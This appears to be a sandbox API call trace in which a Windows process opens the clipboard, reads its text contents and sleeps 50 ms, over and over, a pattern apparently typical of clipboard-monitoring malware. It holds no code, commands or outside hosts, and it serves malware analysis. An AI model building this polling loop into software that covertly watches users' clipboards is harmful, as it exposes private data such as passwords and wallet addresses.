[0246.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedad26cf, dwHighDateTime=0x1d96e12))
[0246.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.148] GetClipboardData (uFormat=0x1) returned 0x0
[0246.148] CloseClipboard () returned 1
[0246.148] Sleep (dwMilliseconds=0x32)
[0246.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedaf88c9, dwHighDateTime=0x1d96e12))
[0246.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.164] GetClipboardData (uFormat=0x1) returned 0x0
[0246.164] CloseClipboard () returned 1
[0246.164] Sleep (dwMilliseconds=0x32)
[0246.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedb1ebbc, dwHighDateTime=0x1d96e12))
[0246.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.180] GetClipboardData (uFormat=0x1) returned 0x0
[0246.180] CloseClipboard () returned 1
[0246.180] Sleep (dwMilliseconds=0x32)
[0246.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedb44dd0, dwHighDateTime=0x1d96e12))
[0246.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.195] GetClipboardData (uFormat=0x1) returned 0x0
[0246.195] CloseClipboard () returned 1
[0246.195] Sleep (dwMilliseconds=0x32)
[0246.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedb6b0c9, dwHighDateTime=0x1d96e12))
[0246.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.211] GetClipboardData (uFormat=0x1) returned 0x0
[0246.211] CloseClipboard () returned 1
[0246.211] Sleep (dwMilliseconds=0x32)
[0246.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedb912be, dwHighDateTime=0x1d96e12))
[0246.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.226] GetClipboardData (uFormat=0x1) returned 0x0
[0246.226] CloseClipboard () returned 1
[0246.226] Sleep (dwMilliseconds=0x32)
[0246.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedbb7493, dwHighDateTime=0x1d96e12))
[0246.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.242] GetClipboardData (uFormat=0x1) returned 0x0
[0246.242] CloseClipboard () returned 1
[0246.242] Sleep (dwMilliseconds=0x32)
[0246.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedbdd793, dwHighDateTime=0x1d96e12))
[0246.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.258] GetClipboardData (uFormat=0x1) returned 0x0
[0246.258] CloseClipboard () returned 1
[0246.258] Sleep (dwMilliseconds=0x32)
[0246.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedc03964, dwHighDateTime=0x1d96e12))
[0246.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.273] GetClipboardData (uFormat=0x1) returned 0x0
[0246.273] CloseClipboard () returned 1
[0246.273] Sleep (dwMilliseconds=0x32)
[0246.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedc29c38, dwHighDateTime=0x1d96e12))
[0246.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.289] GetClipboardData (uFormat=0x1) returned 0x0
[0246.289] CloseClipboard () returned 1
[0246.289] Sleep (dwMilliseconds=0x32)
[0246.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedc4fe2f, dwHighDateTime=0x1d96e12))
[0246.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.304] GetClipboardData (uFormat=0x1) returned 0x0
[0246.304] CloseClipboard () returned 1
[0246.304] Sleep (dwMilliseconds=0x32)
[0246.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedc76101, dwHighDateTime=0x1d96e12))
[0246.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.320] GetClipboardData (uFormat=0x1) returned 0x0
[0246.320] CloseClipboard () returned 1
[0246.320] Sleep (dwMilliseconds=0x32)
[0246.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedc9c2f1, dwHighDateTime=0x1d96e12))
[0246.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.336] GetClipboardData (uFormat=0x1) returned 0x0
[0246.336] CloseClipboard () returned 1
[0246.336] Sleep (dwMilliseconds=0x32)
[0246.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedcc25a0, dwHighDateTime=0x1d96e12))
[0246.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.351] GetClipboardData (uFormat=0x1) returned 0x0
[0246.352] CloseClipboard () returned 1
[0246.352] Sleep (dwMilliseconds=0x32)
[0246.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedce87ae, dwHighDateTime=0x1d96e12))
[0246.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.367] GetClipboardData (uFormat=0x1) returned 0x0
[0246.367] CloseClipboard () returned 1
[0246.367] Sleep (dwMilliseconds=0x32)
[0246.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedd0ea5a, dwHighDateTime=0x1d96e12))
[0246.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.383] GetClipboardData (uFormat=0x1) returned 0x0
[0246.383] CloseClipboard () returned 1
[0246.383] Sleep (dwMilliseconds=0x32)
[0246.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedd34c4e, dwHighDateTime=0x1d96e12))
[0246.400] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.400] GetClipboardData (uFormat=0x1) returned 0x0
[0246.400] CloseClipboard () returned 1
[0246.400] Sleep (dwMilliseconds=0x32)
[0246.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedd5ae75, dwHighDateTime=0x1d96e12))
[0246.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.415] GetClipboardData (uFormat=0x1) returned 0x0
[0246.415] CloseClipboard () returned 1
[0246.415] Sleep (dwMilliseconds=0x32)
[0246.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedd810d3, dwHighDateTime=0x1d96e12))
[0246.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.434] GetClipboardData (uFormat=0x1) returned 0x0
[0246.434] CloseClipboard () returned 1
[0246.434] Sleep (dwMilliseconds=0x32)
[0246.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedda7328, dwHighDateTime=0x1d96e12))
[0246.447] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.447] GetClipboardData (uFormat=0x1) returned 0x0
[0246.447] CloseClipboard () returned 1
[0246.447] Sleep (dwMilliseconds=0x32)
[0246.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeddcd586, dwHighDateTime=0x1d96e12))
[0246.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.461] GetClipboardData (uFormat=0x1) returned 0x0
[0246.461] CloseClipboard () returned 1
[0246.461] Sleep (dwMilliseconds=0x32)
[0246.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeddf37d6, dwHighDateTime=0x1d96e12))
[0246.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.476] GetClipboardData (uFormat=0x1) returned 0x0
[0246.476] CloseClipboard () returned 1
[0246.476] Sleep (dwMilliseconds=0x32)
[0246.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xede19a33, dwHighDateTime=0x1d96e12))
[0246.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.493] GetClipboardData (uFormat=0x1) returned 0x0
[0246.493] CloseClipboard () returned 1
[0246.493] Sleep (dwMilliseconds=0x32)
[0246.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xede3fc8b, dwHighDateTime=0x1d96e12))
[0246.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.508] GetClipboardData (uFormat=0x1) returned 0x0
[0246.508] CloseClipboard () returned 1
[0246.508] Sleep (dwMilliseconds=0x32)
[0246.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xede65ee2, dwHighDateTime=0x1d96e12))
[0246.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.523] GetClipboardData (uFormat=0x1) returned 0x0
[0246.523] CloseClipboard () returned 1
[0246.523] Sleep (dwMilliseconds=0x32)
[0246.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xede8c13e, dwHighDateTime=0x1d96e12))
[0246.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.540] GetClipboardData (uFormat=0x1) returned 0x0
[0246.540] CloseClipboard () returned 1
[0246.540] Sleep (dwMilliseconds=0x32)
[0246.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedeb2392, dwHighDateTime=0x1d96e12))
[0246.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.554] GetClipboardData (uFormat=0x1) returned 0x0
[0246.554] CloseClipboard () returned 1
[0246.554] Sleep (dwMilliseconds=0x32)
[0246.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeded85f4, dwHighDateTime=0x1d96e12))
[0246.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.572] GetClipboardData (uFormat=0x1) returned 0x0
[0246.572] CloseClipboard () returned 1
[0246.572] Sleep (dwMilliseconds=0x32)
[0246.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedefe84c, dwHighDateTime=0x1d96e12))
[0246.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.586] GetClipboardData (uFormat=0x1) returned 0x0
[0246.586] CloseClipboard () returned 1
[0246.586] Sleep (dwMilliseconds=0x32)
[0246.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedf24aa3, dwHighDateTime=0x1d96e12))
[0246.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.601] GetClipboardData (uFormat=0x1) returned 0x0
[0246.601] CloseClipboard () returned 1
[0246.601] Sleep (dwMilliseconds=0x32)
[0246.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee055d44, dwHighDateTime=0x1d96e12))
[0246.733] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.733] GetClipboardData (uFormat=0x1) returned 0x0
[0246.733] CloseClipboard () returned 1
[0246.733] Sleep (dwMilliseconds=0x32)
[0246.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee07bfdd, dwHighDateTime=0x1d96e12))
[0246.742] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.742] GetClipboardData (uFormat=0x1) returned 0x0
[0246.742] CloseClipboard () returned 1
[0246.742] Sleep (dwMilliseconds=0x32)
[0246.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee0a2234, dwHighDateTime=0x1d96e12))
[0246.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.758] GetClipboardData (uFormat=0x1) returned 0x0
[0246.758] CloseClipboard () returned 1
[0246.758] Sleep (dwMilliseconds=0x32)
[0246.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee0c8484, dwHighDateTime=0x1d96e12))
[0246.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.773] GetClipboardData (uFormat=0x1) returned 0x0
[0246.774] CloseClipboard () returned 1
[0246.774] Sleep (dwMilliseconds=0x32)
[0246.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee0ee6e3, dwHighDateTime=0x1d96e12))
[0246.789] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.789] GetClipboardData (uFormat=0x1) returned 0x0
[0246.789] CloseClipboard () returned 1
[0246.789] Sleep (dwMilliseconds=0x32)
[0246.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee11493f, dwHighDateTime=0x1d96e12))
[0246.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.804] GetClipboardData (uFormat=0x1) returned 0x0
[0246.805] CloseClipboard () returned 1
[0246.805] Sleep (dwMilliseconds=0x32)
[0246.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee13ab94, dwHighDateTime=0x1d96e12))
[0246.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.821] GetClipboardData (uFormat=0x1) returned 0x0
[0246.821] CloseClipboard () returned 1
[0246.822] Sleep (dwMilliseconds=0x32)
[0246.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee160df0, dwHighDateTime=0x1d96e12))
[0246.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.836] GetClipboardData (uFormat=0x1) returned 0x0
[0246.836] CloseClipboard () returned 1
[0246.836] Sleep (dwMilliseconds=0x32)
[0246.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee18704b, dwHighDateTime=0x1d96e12))
[0246.854] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.854] GetClipboardData (uFormat=0x1) returned 0x0
[0246.854] CloseClipboard () returned 1
[0246.854] Sleep (dwMilliseconds=0x32)
[0246.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee1ad2ad, dwHighDateTime=0x1d96e12))
[0246.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.867] GetClipboardData (uFormat=0x1) returned 0x0
[0246.867] CloseClipboard () returned 1
[0246.867] Sleep (dwMilliseconds=0x32)
[0246.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee1d34f8, dwHighDateTime=0x1d96e12))
[0246.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.883] GetClipboardData (uFormat=0x1) returned 0x0
[0246.883] CloseClipboard () returned 1
[0246.883] Sleep (dwMilliseconds=0x32)
[0246.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee1f9753, dwHighDateTime=0x1d96e12))
[0246.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.898] GetClipboardData (uFormat=0x1) returned 0x0
[0246.898] CloseClipboard () returned 1
[0246.898] Sleep (dwMilliseconds=0x32)
[0246.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee21f9ad, dwHighDateTime=0x1d96e12))
[0246.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.915] GetClipboardData (uFormat=0x1) returned 0x0
[0246.915] CloseClipboard () returned 1
[0246.915] Sleep (dwMilliseconds=0x32)
[0246.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee245c11, dwHighDateTime=0x1d96e12))
[0246.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.929] GetClipboardData (uFormat=0x1) returned 0x0
[0246.929] CloseClipboard () returned 1
[0246.930] Sleep (dwMilliseconds=0x32)
[0246.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee26be63, dwHighDateTime=0x1d96e12))
[0246.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.947] GetClipboardData (uFormat=0x1) returned 0x0
[0246.947] CloseClipboard () returned 1
[0246.947] Sleep (dwMilliseconds=0x32)
[0246.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee2920c6, dwHighDateTime=0x1d96e12))
[0246.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.961] GetClipboardData (uFormat=0x1) returned 0x0
[0246.961] CloseClipboard () returned 1
[0246.961] Sleep (dwMilliseconds=0x32)
[0246.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee2b8317, dwHighDateTime=0x1d96e12))
[0246.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.976] GetClipboardData (uFormat=0x1) returned 0x0
[0246.976] CloseClipboard () returned 1
[0246.976] Sleep (dwMilliseconds=0x32)
[0246.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee2de574, dwHighDateTime=0x1d96e12))
[0246.994] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.994] GetClipboardData (uFormat=0x1) returned 0x0
[0246.994] CloseClipboard () returned 1
[0246.994] Sleep (dwMilliseconds=0x32)
[0247.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee3047d2, dwHighDateTime=0x1d96e12))
[0247.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.008] GetClipboardData (uFormat=0x1) returned 0x0
[0247.008] CloseClipboard () returned 1
[0247.008] Sleep (dwMilliseconds=0x32)
[0247.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee32aa2e, dwHighDateTime=0x1d96e12))
[0247.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.023] GetClipboardData (uFormat=0x1) returned 0x0
[0247.023] CloseClipboard () returned 1
[0247.023] Sleep (dwMilliseconds=0x32)
[0247.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee350c8a, dwHighDateTime=0x1d96e12))
[0247.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.040] GetClipboardData (uFormat=0x1) returned 0x0
[0247.040] CloseClipboard () returned 1
[0247.040] Sleep (dwMilliseconds=0x32)
[0247.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee376eea, dwHighDateTime=0x1d96e12))
[0247.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.055] GetClipboardData (uFormat=0x1) returned 0x0
[0247.055] CloseClipboard () returned 1
[0247.057] Sleep (dwMilliseconds=0x32)
[0247.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee39d139, dwHighDateTime=0x1d96e12))
[0247.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.070] GetClipboardData (uFormat=0x1) returned 0x0
[0247.070] CloseClipboard () returned 1
[0247.070] Sleep (dwMilliseconds=0x32)
[0247.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee3c3389, dwHighDateTime=0x1d96e12))
[0247.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.086] GetClipboardData (uFormat=0x1) returned 0x0
[0247.086] CloseClipboard () returned 1
[0247.086] Sleep (dwMilliseconds=0x32)
[0247.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee3e95e4, dwHighDateTime=0x1d96e12))
[0247.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.101] GetClipboardData (uFormat=0x1) returned 0x0
[0247.102] CloseClipboard () returned 1
[0247.102] Sleep (dwMilliseconds=0x32)
[0247.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee40f844, dwHighDateTime=0x1d96e12))
[0247.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.118] GetClipboardData (uFormat=0x1) returned 0x0
[0247.118] CloseClipboard () returned 1
[0247.118] Sleep (dwMilliseconds=0x32)
[0247.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee435a92, dwHighDateTime=0x1d96e12))
[0247.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.133] GetClipboardData (uFormat=0x1) returned 0x0
[0247.133] CloseClipboard () returned 1
[0247.133] Sleep (dwMilliseconds=0x32)
[0247.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee45bcf3, dwHighDateTime=0x1d96e12))
[0247.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.148] GetClipboardData (uFormat=0x1) returned 0x0
[0247.148] CloseClipboard () returned 1
[0247.148] Sleep (dwMilliseconds=0x32)
[0247.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee481f4f, dwHighDateTime=0x1d96e12))
[0247.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.165] GetClipboardData (uFormat=0x1) returned 0x0
[0247.165] CloseClipboard () returned 1
[0247.165] Sleep (dwMilliseconds=0x32)
[0247.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee4a81b0, dwHighDateTime=0x1d96e12))
[0247.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.179] GetClipboardData (uFormat=0x1) returned 0x0
[0247.179] CloseClipboard () returned 1
[0247.179] Sleep (dwMilliseconds=0x32)
[0247.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee4ce407, dwHighDateTime=0x1d96e12))
[0247.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.197] GetClipboardData (uFormat=0x1) returned 0x0
[0247.197] CloseClipboard () returned 1
[0247.197] Sleep (dwMilliseconds=0x32)
[0247.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee4f4663, dwHighDateTime=0x1d96e12))
[0247.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.211] GetClipboardData (uFormat=0x1) returned 0x0
[0247.211] CloseClipboard () returned 1
[0247.211] Sleep (dwMilliseconds=0x32)
[0247.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee51a8b6, dwHighDateTime=0x1d96e12))
[0247.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.226] GetClipboardData (uFormat=0x1) returned 0x0
[0247.226] CloseClipboard () returned 1
[0247.226] Sleep (dwMilliseconds=0x32)
[0247.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee540b1a, dwHighDateTime=0x1d96e12))
[0247.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.243] GetClipboardData (uFormat=0x1) returned 0x0
[0247.243] CloseClipboard () returned 1
[0247.243] Sleep (dwMilliseconds=0x32)
[0247.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee566d72, dwHighDateTime=0x1d96e12))
[0247.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.258] GetClipboardData (uFormat=0x1) returned 0x0
[0247.258] CloseClipboard () returned 1
[0247.258] Sleep (dwMilliseconds=0x32)
[0247.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee58cfc8, dwHighDateTime=0x1d96e12))
[0247.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.273] GetClipboardData (uFormat=0x1) returned 0x0
[0247.273] CloseClipboard () returned 1
[0247.273] Sleep (dwMilliseconds=0x32)
[0247.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee5b321f, dwHighDateTime=0x1d96e12))
[0247.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.290] GetClipboardData (uFormat=0x1) returned 0x0
[0247.290] CloseClipboard () returned 1
[0247.290] Sleep (dwMilliseconds=0x32)
[0247.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee5d9481, dwHighDateTime=0x1d96e12))
[0247.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.304] GetClipboardData (uFormat=0x1) returned 0x0
[0247.305] CloseClipboard () returned 1
[0247.305] Sleep (dwMilliseconds=0x32)
[0247.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee5ff6d8, dwHighDateTime=0x1d96e12))
[0247.322] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.322] GetClipboardData (uFormat=0x1) returned 0x0
[0247.322] CloseClipboard () returned 1
[0247.322] Sleep (dwMilliseconds=0x32)
[0247.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee625930, dwHighDateTime=0x1d96e12))
[0247.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.336] GetClipboardData (uFormat=0x1) returned 0x0
[0247.336] CloseClipboard () returned 1
[0247.336] Sleep (dwMilliseconds=0x32)
[0247.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee64bb85, dwHighDateTime=0x1d96e12))
[0247.351] OpenClipboard (hWndNewOwner=0x0) returned 1
